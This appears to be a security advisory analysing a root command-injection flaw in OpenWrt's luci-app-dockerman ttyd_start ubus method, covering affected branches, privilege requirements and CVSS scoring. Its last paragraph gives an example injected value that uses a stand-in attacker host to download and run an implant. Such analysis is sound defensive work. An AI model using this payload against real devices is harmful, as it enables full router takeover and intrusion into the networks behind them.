luci-app-dockerman CVE-2026-69096

Exploitation requires an authenticated LuCI session with an account that has been granted the luci-app-dockerman read ACL; write or administrative privileges are not needed. The vulnerable ucode docker_rpc.uc backend must be present, which is the case only in LuCI master and openwrt-25.12 snapshots after the JS-to-ucode conversion - openwrt-24.10 and openwrt-23.05 are categorically unaffected and require no action. The luci-app-dockerman package must be installed on the target device. No specific Docker container state, running container, or non-default configuration toggle is required; the ttyd_start ubus method is exposed by the ACL regardless of container runtime state. The authentication requirement (PR:L per CVSS 4.0 vector) is the sole limiting condition - unauthenticated remote attackers cannot reach the vulnerable code path.

The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects a high-severity, network-accessible vulnerability requiring no user interaction and only low-privilege authentication. The PR:L requirement is the primary real-world limiting factor - an attacker must hold a valid LuCI account with the luci-app-dockerman read ACL granted. In environments where operators share Docker management dashboards with multiple users, this ACL may be broadly assigned, effectively lowering the exploitation bar. This vulnerability is not present in CISA KEV, no EPSS score is available from the provided data, and no public exploit code has been identified at time of analysis; however, the attack mechanic is trivially constructible from the description alone (inject a semicolon into an HTTP POST field) with no reverse engineering required. The consequence - arbitrary root command execution on a network device - is severe: routers compromise the entire LAN they protect. This makes luci-app-dockerman a high-priority remediation target for any affected OpenWrt deployment despite the authentication prerequisite.

An attacker with a standard read-only LuCI account sends an HTTP POST to /ubus invoking docker.container.ttyd_start with a payload such as id set to a valid container name followed by shell metacharacters (e.g., alpine; curl http://attacker.example/implant | sh). The run_ttyd handler in docker_rpc.uc concatenates the unsanitized value into a shell command string and passes it to system(), executing the injected commands as root under the rpcd daemon. This yields complete, persistent root access to the router - enabling firmware modification, traffic interception, credential harvesting, or lateral pivot into the protected LAN.